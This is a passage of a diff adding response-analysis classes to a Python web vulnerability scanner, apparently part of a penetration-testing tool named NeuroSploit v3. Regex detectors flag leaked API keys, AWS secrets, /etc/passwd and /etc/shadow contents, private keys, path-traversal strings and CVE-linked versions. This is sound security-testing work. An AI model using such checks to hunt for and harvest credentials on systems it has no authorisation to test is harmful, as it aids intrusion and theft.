||||
# Docker socket or K8s secrets are critical
|
||||
critical = any(k in f for f in findings for k in ["socket", "secrets", "token"])
|
||||
confidence = 0.9 if critical else 0.7
|
||||
return True, confidence, f"Container exposure: {', '.join(findings[:3])}"
|
||||
|
||||
# Privileged container detection
|
||||
if context.get("is_capability_check"):
|
||||
# Check for extra capabilities
|
||||
cap_patterns = [
|
||||
r"cap_sys_admin", r"cap_sys_ptrace", r"cap_net_admin",
|
||||
r"cap_dac_override", r"cap_sys_rawio",
|
||||
]
|
||||
for pattern in cap_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Privileged container: {pattern} capability detected"
|
||||
|
||||
# Mount namespace check
|
||||
if re.search(r"/dev/(?:sda|xvda|nvme)\d*\s", response_body):
|
||||
return True, 0.6, "Host block devices visible from container"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ServerlessMisconfigTester(BaseTester):
|
||||
"""Tester for Serverless Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "serverless_misconfig"
|
||||
self.env_patterns = [
|
||||
# AWS Lambda
|
||||
(r"AWS_LAMBDA_FUNCTION_NAME\s*[=:]\s*(\S+)", "Lambda function name"),
|
||||
(r"AWS_SECRET_ACCESS_KEY\s*[=:]\s*(\S+)", "Lambda AWS secret key"),
|
||||
(r"AWS_SESSION_TOKEN\s*[=:]\s*(\S+)", "Lambda session token"),
|
||||
(r"AWS_LAMBDA_LOG_GROUP_NAME", "Lambda log group"),
|
||||
(r"_HANDLER\s*[=:]\s*(\S+)", "Lambda handler path"),
|
||||
(r"LAMBDA_TASK_ROOT\s*[=:]\s*(\S+)", "Lambda task root"),
|
||||
(r"AWS_EXECUTION_ENV\s*[=:]\s*(\S+)", "Lambda execution environment"),
|
||||
# Google Cloud Functions
|
||||
(r"FUNCTION_NAME\s*[=:]\s*(\S+)", "Cloud Function name"),
|
||||
(r"GCLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project ID"),
|
||||
(r"GOOGLE_CLOUD_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
|
||||
(r"GCP_PROJECT\s*[=:]\s*(\S+)", "GCP project"),
|
||||
(r"FUNCTION_REGION\s*[=:]\s*(\S+)", "Cloud Function region"),
|
||||
# Azure Functions
|
||||
(r"FUNCTIONS_WORKER_RUNTIME\s*[=:]\s*(\S+)", "Azure Function runtime"),
|
||||
(r"AzureWebJobsStorage\s*[=:]\s*(\S+)", "Azure storage connection string"),
|
||||
(r"WEBSITE_SITE_NAME\s*[=:]\s*(\S+)", "Azure site name"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for serverless environment variable exposure"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.env_patterns:
|
||||
match = re.search(pattern, response_body)
|
||||
if match:
|
||||
value = match.group(1) if match.lastindex else ""
|
||||
# Redact sensitive values
|
||||
if "key" in description.lower() or "token" in description.lower() or "secret" in description.lower():
|
||||
display = f"{description} (REDACTED)"
|
||||
else:
|
||||
display = f"{description}: {value[:30]}"
|
||||
findings.append(display)
|
||||
|
||||
if findings:
|
||||
# Credentials are critical
|
||||
critical = any(k in f for f in findings for k in ["secret", "token", "REDACTED"])
|
||||
confidence = 0.95 if critical else 0.75
|
||||
return True, confidence, f"Serverless misconfiguration: {', '.join(findings[:3])}"
|
||||
|
||||
# Function source code exposure
|
||||
if context.get("is_source_request"):
|
||||
source_indicators = [
|
||||
r"exports\.handler\s*=", r"def lambda_handler\(",
|
||||
r"def main\(req:", r"module\.exports",
|
||||
r"def hello_http\(request\):",
|
||||
]
|
||||
for pattern in source_indicators:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.8, "Serverless misconfiguration: function source code exposed"
|
||||
|
||||
# Invocation error details
|
||||
error_patterns = [
|
||||
r"\"errorType\"\s*:\s*\"(\w+)\"",
|
||||
r"\"stackTrace\"\s*:\s*\[",
|
||||
r"Runtime\.HandlerNotFound",
|
||||
r"\"errorMessage\"\s*:\s*\".*(?:import|require|module)",
|
||||
]
|
||||
for pattern in error_patterns:
|
||||
match = re.search(pattern, response_body)
|
||||
if match:
|
||||
return True, 0.7, f"Serverless misconfiguration: detailed error exposed ({match.group(0)[:60]})"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -0,0 +1,388 @@
|
||||
"""
|
||||
NeuroSploit v3 - Data Exposure Vulnerability Testers
|
||||
|
||||
Testers for sensitive data exposure, information disclosure, API key exposure,
|
||||
source code disclosure, backup file exposure, and version disclosure.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class SensitiveDataExposureTester(BaseTester):
|
||||
"""Tester for Sensitive Data Exposure (PII leakage)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "sensitive_data_exposure"
|
||||
self.pii_patterns = [
|
||||
# SSN (US)
|
||||
(r"\b\d{3}-\d{2}-\d{4}\b", "SSN pattern"),
|
||||
# Credit card numbers (Visa, MC, Amex, Discover)
|
||||
(r"\b4\d{3}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Visa card number"),
|
||||
(r"\b5[1-5]\d{2}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "MasterCard number"),
|
||||
(r"\b3[47]\d{2}[\s-]?\d{6}[\s-]?\d{5}\b", "Amex card number"),
|
||||
(r"\b6(?:011|5\d{2})[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b", "Discover card number"),
|
||||
# Email addresses in bulk (10+ suggests a data leak)
|
||||
(r"[\w.+-]+@[\w-]+\.[\w.-]+", "email address"),
|
||||
# Phone numbers (US format)
|
||||
(r"\b\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4}\b", "phone number"),
|
||||
# Passport numbers
|
||||
(r"\b[A-Z]\d{8}\b", "passport number pattern"),
|
||||
# Private keys
|
||||
(r"-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----", "private key"),
|
||||
# Password hashes
|
||||
(r"\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}", "bcrypt hash"),
|
||||
(r"\b[a-f0-9]{32}\b", "MD5 hash"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for PII patterns in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.pii_patterns:
|
||||
matches = re.findall(pattern, response_body)
|
||||
if matches:
|
||||
# Private keys and password hashes are always significant
|
||||
if "private key" in description:
|
||||
return True, 0.95, f"Sensitive data exposure: {description} found in response"
|
||||
if "bcrypt hash" in description:
|
||||
return True, 0.9, f"Sensitive data exposure: {description} found in response"
|
||||
|
||||
# For patterns like emails, phone numbers - check for bulk exposure
|
||||
if description in ["email address", "phone number"]:
|
||||
if len(matches) >= 5:
|
||||
findings.append(f"{len(matches)} {description}s")
|
||||
elif description == "MD5 hash":
|
||||
if len(matches) >= 3:
|
||||
findings.append(f"{len(matches)} {description}es")
|
||||
else:
|
||||
findings.append(f"{description} ({matches[0][:20]}...)")
|
||||
|
||||
if findings:
|
||||
confidence = min(0.9, 0.6 + 0.1 * len(findings))
|
||||
return True, confidence, f"Sensitive data exposure: {', '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class InformationDisclosureTester(BaseTester):
|
||||
"""Tester for Information Disclosure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "information_disclosure"
|
||||
self.disclosure_patterns = [
|
||||
# Server version headers
|
||||
(r"Server:\s*(.+)", "header", "Server version"),
|
||||
(r"X-Powered-By:\s*(.+)", "header", "Technology stack"),
|
||||
(r"X-AspNet-Version:\s*(.+)", "header", "ASP.NET version"),
|
||||
(r"X-AspNetMvc-Version:\s*(.+)", "header", "ASP.NET MVC version"),
|
||||
]
|
||||
self.body_patterns = [
|
||||
# Path disclosure
|
||||
(r"(?:/var/www|/home/\w+|/srv/|/opt/\w+|C:\\inetpub|C:\\Users\\\w+)[/\\]\S+", "Internal path"),
|
||||
# Stack traces
|
||||
(r"Traceback \(most recent call last\)", "Python stack trace"),
|
||||
(r"at \w+\.\w+\([\w.]+:\d+\)", "Java stack trace"),
|
||||
(r"(?:Fatal error|Warning|Notice):\s+.*\sin\s+/\S+\s+on line \d+", "PHP error with path"),
|
||||
(r"Microsoft \.NET Framework Version:\d+", ".NET framework version"),
|
||||
# Database info
|
||||
(r"(?:MySQL|PostgreSQL|Oracle|MSSQL)\s+\d+\.\d+", "Database version"),
|
||||
# Debug info
|
||||
(r"(?:DEBUG|TRACE)\s*=\s*(?:true|True|1)", "Debug mode enabled"),
|
||||
(r"(?:SECRET_KEY|DB_PASSWORD|API_SECRET)\s*[=:]\s*\S+", "Secret in debug output"),
|
||||
# Internal IPs
|
||||
(r"\b(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})\b", "Internal IP address"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for information disclosure in headers and body"""
|
||||
findings = []
|
||||
|
||||
# Check headers
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
for pattern, location, description in self.disclosure_patterns:
|
||||
match = re.search(pattern, headers_str, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{description}: {match.group(1)[:50]}")
|
||||
|
||||
# Check body
|
||||
for pattern, description in self.body_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{description}: {match.group(0)[:80]}")
|
||||
|
||||
if findings:
|
||||
# Stack traces and secrets are higher severity
|
||||
high_severity = any("stack trace" in f.lower() or "secret" in f.lower() or "debug" in f.lower() for f in findings)
|
||||
confidence = 0.85 if high_severity else 0.7
|
||||
return True, confidence, f"Information disclosure: {'; '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ApiKeyExposureTester(BaseTester):
|
||||
"""Tester for API Key Exposure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "api_key_exposure"
|
||||
self.key_patterns = [
|
||||
# AWS
|
||||
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
|
||||
(r"(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*[A-Za-z0-9/+=]{40}", "AWS Secret Key"),
|
||||
# Google
|
||||
(r"AIza[0-9A-Za-z\-_]{35}", "Google API Key"),
|
||||
(r"ya29\.[0-9A-Za-z\-_]+", "Google OAuth Token"),
|
||||
# Stripe
|
||||
(r"sk_live_[0-9a-zA-Z]{24,}", "Stripe Secret Key"),
|
||||
(r"pk_live_[0-9a-zA-Z]{24,}", "Stripe Publishable Key"),
|
||||
(r"rk_live_[0-9a-zA-Z]{24,}", "Stripe Restricted Key"),
|
||||
# GitHub
|
||||
(r"gh[pousr]_[A-Za-z0-9_]{36,}", "GitHub Token"),
|
||||
# Slack
|
||||
(r"xox[baprs]-[0-9]{10,13}-[0-9]{10,13}[a-zA-Z0-9-]*", "Slack Token"),
|
||||
# Twilio
|
||||
(r"SK[0-9a-fA-F]{32}", "Twilio API Key"),
|
||||
# SendGrid
|
||||
(r"SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}", "SendGrid API Key"),
|
||||
# Heroku
|
||||
(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", "Heroku API Key / UUID"),
|
||||
# Generic patterns
|
||||
(r"(?:api[_-]?key|apikey|api[_-]?secret)\s*[=:]\s*['\"]?([A-Za-z0-9_\-]{20,})['\"]?", "Generic API Key"),
|
||||
(r"(?:access[_-]?token|auth[_-]?token)\s*[=:]\s*['\"]?([A-Za-z0-9_\-.]{20,})['\"]?", "Access Token"),
|
||||
# Bearer tokens in JS
|
||||
(r"['\"]Bearer\s+[A-Za-z0-9_\-\.]{20,}['\"]", "Hardcoded Bearer Token"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for API key patterns in response"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.key_patterns:
|
||||
matches = re.findall(pattern, response_body)
|
||||
if matches:
|
||||
# Skip UUIDs unless in specific context (too many false positives)
|
||||
if "UUID" in description:
|
||||
continue
|
||||
# Redact the actual key in evidence
|
||||
sample = matches[0] if isinstance(matches[0], str) else matches[0]
|
||||
redacted = sample[:8] + "..." + sample[-4:] if len(sample) > 12 else sample[:4] + "..."
|
||||
findings.append(f"{description} ({redacted})")
|
||||
|
||||
if findings:
|
||||
# AWS/Stripe secret keys are critical
|
||||
critical = any(k in f for f in findings for k in ["AWS Secret", "Stripe Secret", "Secret Key"])
|
||||
confidence = 0.95 if critical else 0.85
|
||||
return True, confidence, f"API key exposure: {', '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SourceCodeDisclosureTester(BaseTester):
|
||||
"""Tester for Source Code Disclosure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "source_code_disclosure"
|
||||
self.source_indicators = [
|
||||
# Git
|
||||
(r"\[core\]\s*\n\s*repositoryformatversion", "Git config exposed"),
|
||||
(r"\[remote \"origin\"\]", "Git config with remote"),
|
||||
(r"ref: refs/heads/", "Git HEAD reference exposed"),
|
||||
# Source maps
|
||||
(r"\"version\"\s*:\s*3,\s*\"sources\"", "JavaScript source map"),
|
||||
(r"//[#@]\s*sourceMappingURL=", "Source map reference"),
|
||||
# PHP source
|
||||
(r"<\?php\s", "PHP source code"),
|
||||
(r"<\?=", "PHP short tag source"),
|
||||
# Python source
|
||||
(r"^(?:import |from \w+ import |def \w+\(|class \w+)", "Python source code"),
|
||||
# Java/JSP
|
||||
(r"<%@?\s*page\s+", "JSP source code"),
|
||||
(r"package\s+\w+\.\w+;", "Java package declaration"),
|
||||
# Environment files
|
||||
(r"(?:DB_PASSWORD|SECRET_KEY|DATABASE_URL)\s*=\s*\S+", "Environment file content"),
|
||||
# Composer/package files with private repos
|
||||
(r"\"require\".*\"private/", "Private package reference"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for source code indicators in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
for pattern, description in self.source_indicators:
|
||||
match = re.search(pattern, response_body, re.MULTILINE)
|
||||
if match:
|
||||
# Git config is high confidence
|
||||
if "Git" in description:
|
||||
return True, 0.95, f"Source code disclosure: {description}"
|
||||
# Environment file is critical
|
||||
if "Environment" in description:
|
||||
return True, 0.95, f"Source code disclosure: {description}"
|
||||
# Source maps lower confidence (often intentional)
|
||||
if "source map" in description.lower():
|
||||
return True, 0.6, f"Source code disclosure: {description}"
|
||||
return True, 0.8, f"Source code disclosure: {description}"
|
||||
|
||||
# Check for common source file access patterns
|
||||
source_paths = [".git/config", ".env", ".htaccess", "web.config",
|
||||
"wp-config.php", "config.php", "settings.py"]
|
||||
for path in source_paths:
|
||||
if path in payload and response_status == 200 and len(response_body) > 50:
|
||||
return True, 0.7, f"Source code disclosure: {path} accessible"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BackupFileExposureTester(BaseTester):
|
||||
"""Tester for Backup File Exposure vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "backup_file_exposure"
|
||||
self.file_signatures = [
|
||||
# SQL dumps
|
||||
(r"-- MySQL dump \d+", "MySQL database dump"),
|
||||
(r"-- PostgreSQL database dump", "PostgreSQL database dump"),
|
||||
(r"CREATE TABLE\s+[`\"]\w+[`\"]", "SQL DDL statements"),
|
||||
(r"INSERT INTO\s+[`\"]\w+[`\"]", "SQL data dump"),
|
||||
# Archive signatures (in text responses)
|
||||
(r"PK\x03\x04", "ZIP archive"),
|
||||
# Tar
|
||||
(r"ustar\s", "TAR archive"),
|
||||
# Config backups
|
||||
(r"<\?xml.*<configuration>", "XML configuration backup"),
|
||||
(r"server\s*\{[^}]*listen\s+\d+", "Nginx config backup"),
|
||||
(r"<VirtualHost\s+", "Apache config backup"),
|
||||
]
|
||||
self.backup_extensions = [
|
||||
".bak", ".backup", ".old", ".orig", ".save",
|
||||
".swp", ".swo", ".tmp", ".temp", ".copy",
|
||||
"~", ".sql", ".tar.gz", ".zip", ".dump",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for backup file content in response"""
|
||||
if response_status >= 400:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check file signatures
|
||||
for pattern, description in self.file_signatures:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Backup file exposure: {description} detected"
|
||||
|
||||
# Check if backup extension in request returned content
|
||||
for ext in self.backup_extensions:
|
||||
if ext in payload and response_status == 200 and len(response_body) > 100:
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
content_type = headers_lower.get("content-type", "").lower()
|
||||
# Non-HTML responses to backup file requests are suspicious
|
||||
if "text/html" not in content_type:
|
||||
return True, 0.75, f"Backup file exposure: {ext} file served ({content_type})"
|
||||
# HTML response but contains code-like content
|
||||
if re.search(r"(?:function |class |import |require\(|define\()", response_body):
|
||||
return True, 0.7, f"Backup file exposure: {ext} file contains source code"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class VersionDisclosureTester(BaseTester):
|
||||
"""Tester for Version Disclosure mapping to known CVEs"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "version_disclosure"
|
||||
# Software versions with known critical CVEs
|
||||
self.vulnerable_versions = {
|
||||
r"Apache/2\.4\.49\b": "CVE-2021-41773 (path traversal)",
|
||||
r"Apache/2\.4\.50\b": "CVE-2021-42013 (path traversal bypass)",
|
||||
r"nginx/1\.(?:[0-9]|1[0-7])\.\d+": "Potential nginx < 1.18 vulnerabilities",
|
||||
r"PHP/(?:5\.\d|7\.[0-3])\.\d+": "Outdated PHP version with known CVEs",
|
||||
r"OpenSSL/1\.0\.\d": "OpenSSL 1.0.x - multiple known CVEs",
|
||||
r"jQuery/(?:1\.\d|2\.\d|3\.[0-4])\.\d+": "jQuery < 3.5 - XSS via htmlPrefilter",
|
||||
r"WordPress/(?:[1-4]\.\d|5\.[0-7])": "Outdated WordPress version",
|
||||
r"Drupal/(?:[1-7]\.\d|8\.[0-5])": "Outdated Drupal version",
|
||||
r"Rails/(?:[1-4]\.\d|5\.[01])": "Outdated Rails version",
|
||||
r"Spring Framework/(?:[1-4]\.\d|5\.[0-2])": "Outdated Spring version",
|
||||
r"Express/(?:[1-3]\.\d|4\.(?:1[0-6]))": "Outdated Express.js version",
|
||||
r"Django/(?:1\.\d|2\.[01]|3\.0)": "Outdated Django version",
|
||||
r"Log4j.(?:2\.(?:0|1[0-4])\.\d)": "CVE-2021-44228 (Log4Shell)",
|
||||
r"Tomcat/(?:[1-8]\.\d|9\.[0-3]\d\.\d)": "Potentially outdated Tomcat",
|
||||
r"IIS/(?:[1-9]\.0|10\.0)": "IIS version disclosure",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for version strings mapping to known CVEs"""
|
||||
# Combine headers and body for scanning
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
full_text = headers_str + "\n" + response_body
|
||||
|
||||
findings = []
|
||||
|
||||
for pattern, cve_info in self.vulnerable_versions.items():
|
||||
match = re.search(pattern, full_text, re.IGNORECASE)
|
||||
if match:
|
||||
version_str = match.group(0)
|
||||
findings.append(f"{version_str} - {cve_info}")
|
||||
|
||||
if findings:
|
||||
# Known CVEs are high confidence
|
||||
has_cve = any("CVE-" in f for f in findings)
|
||||
confidence = 0.9 if has_cve else 0.7
|
||||
return True, confidence, f"Version disclosure: {'; '.join(findings[:3])}"
|
||||
|
||||
# Generic version disclosure in Server header
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
server = headers_lower.get("server", "")
|
||||
if re.search(r"/\d+\.\d+", server):
|
||||
return True, 0.5, f"Version disclosure in Server header: {server}"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -201,3 +201,156 @@ class FileUploadTester(BaseTester):
|
||||
return True, 0.8, "Executable file path returned - possible RCE"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ArbitraryFileReadTester(BaseTester):
|
||||
"""Tester for Arbitrary File Read vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "arbitrary_file_read"
|
||||
self.sensitive_file_patterns = {
|
||||
# /etc/passwd format
|
||||
r"root:.*:0:0:": "/etc/passwd",
|
||||
r"daemon:.*:\d+:\d+:": "/etc/passwd",
|
||||
r"nobody:.*:\d+:\d+:": "/etc/passwd",
|
||||
# .env file patterns
|
||||
r"(?:DB_PASSWORD|DATABASE_URL|SECRET_KEY|API_KEY|APP_SECRET)\s*=": ".env file",
|
||||
r"(?:AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY)\s*=": ".env file (AWS credentials)",
|
||||
# SSH key headers
|
||||
r"-----BEGIN (?:RSA |DSA |EC |OPENSSH )?PRIVATE KEY-----": "SSH/TLS private key",
|
||||
r"-----BEGIN CERTIFICATE-----": "TLS certificate",
|
||||
# Shadow file
|
||||
r"root:\$[0-9a-z]+\$": "/etc/shadow",
|
||||
# Config files
|
||||
r"<\?php.*\$db": "PHP config with DB credentials",
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for sensitive file contents in response"""
|
||||
for pattern, file_desc in self.sensitive_file_patterns.items():
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.95, f"Arbitrary file read confirmed: {file_desc} content detected"
|
||||
|
||||
# Check for base64-encoded sensitive content
|
||||
base64_pattern = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', response_body)
|
||||
for b64_match in base64_pattern[:5]: # Check first 5 matches
|
||||
try:
|
||||
import base64
|
||||
decoded = base64.b64decode(b64_match).decode('utf-8', errors='ignore')
|
||||
if re.search(r"root:.*:0:0:", decoded) or re.search(r"-----BEGIN.*PRIVATE KEY-----", decoded):
|
||||
return True, 0.9, "Arbitrary file read: Base64-encoded sensitive file content"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ArbitraryFileDeleteTester(BaseTester):
|
||||
"""Tester for Arbitrary File Delete vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "arbitrary_file_delete"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful file deletion indicators"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for explicit deletion success messages
|
||||
delete_success_patterns = [
|
||||
r"file\s+(?:has been\s+)?(?:deleted|removed)\s+successfully",
|
||||
r"(?:deleted|removed)\s+successfully",
|
||||
r'"success"\s*:\s*true.*(?:delet|remov)',
|
||||
r'"status"\s*:\s*"(?:deleted|removed)"',
|
||||
r'"message"\s*:\s*".*(?:deleted|removed).*"',
|
||||
]
|
||||
for pattern in delete_success_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "Arbitrary file delete: Deletion success confirmed in response"
|
||||
|
||||
# Check for 200/204 on DELETE request with traversal path
|
||||
traversal_indicators = ["../", "..\\", "%2e%2e", "..%2f", "..%5c"]
|
||||
has_traversal = any(t in payload.lower() for t in traversal_indicators)
|
||||
|
||||
if has_traversal:
|
||||
if response_status == 204:
|
||||
return True, 0.8, "Arbitrary file delete: 204 No Content after path traversal delete"
|
||||
if response_status == 200:
|
||||
return True, 0.7, "Arbitrary file delete: 200 OK after path traversal delete request"
|
||||
|
||||
# Check for file-not-found on subsequent access (context-based)
|
||||
if context.get("follow_up_status") == 404:
|
||||
return True, 0.85, "Arbitrary file delete: File not found after deletion request"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ZipSlipTester(BaseTester):
|
||||
"""Tester for Zip Slip (path traversal in archive extraction)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "zip_slip"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for path traversal in archive extraction"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check for traversal path acceptance in response
|
||||
traversal_patterns = [
|
||||
r"\.\./\.\./\.\./",
|
||||
r"\.\.\\\.\.\\\.\.\\",
|
||||
r"%2e%2e%2f",
|
||||
r"%2e%2e/",
|
||||
]
|
||||
for pattern in traversal_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Traversal path echoed in response
|
||||
if response_status in [200, 201]:
|
||||
return True, 0.8, "Zip Slip: Path traversal sequence accepted in archive extraction"
|
||||
|
||||
# Check for successful extraction with traversal payload
|
||||
if response_status in [200, 201]:
|
||||
extraction_success = [
|
||||
r"extract(?:ed|ion)\s+(?:successful|complete)",
|
||||
r"(?:file|archive)\s+(?:uploaded|processed)\s+successfully",
|
||||
r'"extracted"\s*:\s*true',
|
||||
r'"files"\s*:\s*\[.*\.\./.*\]',
|
||||
]
|
||||
for pattern in extraction_success:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
if any(t in payload for t in ["../", "..\\", "%2e%2e"]):
|
||||
return True, 0.85, "Zip Slip: Archive with traversal paths extracted successfully"
|
||||
|
||||
# Check for file written outside expected directory
|
||||
overwrite_indicators = [
|
||||
r"(?:overwr(?:ote|itten)|replaced)\s+.*(?:/etc/|/var/|/tmp/|C:\\)",
|
||||
r"(?:created|wrote)\s+.*\.\./",
|
||||
]
|
||||
for pattern in overwrite_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Zip Slip: File written outside extraction directory"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -150,3 +150,360 @@ class HTTPMethodsTester(BaseTester):
|
||||
return True, 0.6, f"{payload} method accepted"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DirectoryListingTester(BaseTester):
|
||||
"""Tester for Directory Listing exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "directory_listing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for directory listing patterns"""
|
||||
if response_status == 200:
|
||||
listing_patterns = [
|
||||
r"<title>Index of\s*/",
|
||||
r"Index of\s*/",
|
||||
r"<h1>Index of",
|
||||
r"Directory listing for\s*/",
|
||||
r"<title>Directory listing",
|
||||
r'<a\s+href="\.\./">\.\./</a>',
|
||||
r"Parent Directory</a>",
|
||||
r'\[DIR\]',
|
||||
r'\[TXT\]',
|
||||
r"<pre>.*<a href=",
|
||||
]
|
||||
|
||||
for pattern in listing_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, "Directory listing: Server directory contents exposed"
|
||||
|
||||
# Check for Apache/Nginx-specific listing
|
||||
if re.search(r'<address>Apache/[\d.]+ .* Server at', response_body, re.IGNORECASE):
|
||||
if "Index of" in response_body:
|
||||
return True, 0.95, "Directory listing: Apache directory listing enabled"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DebugModeTester(BaseTester):
|
||||
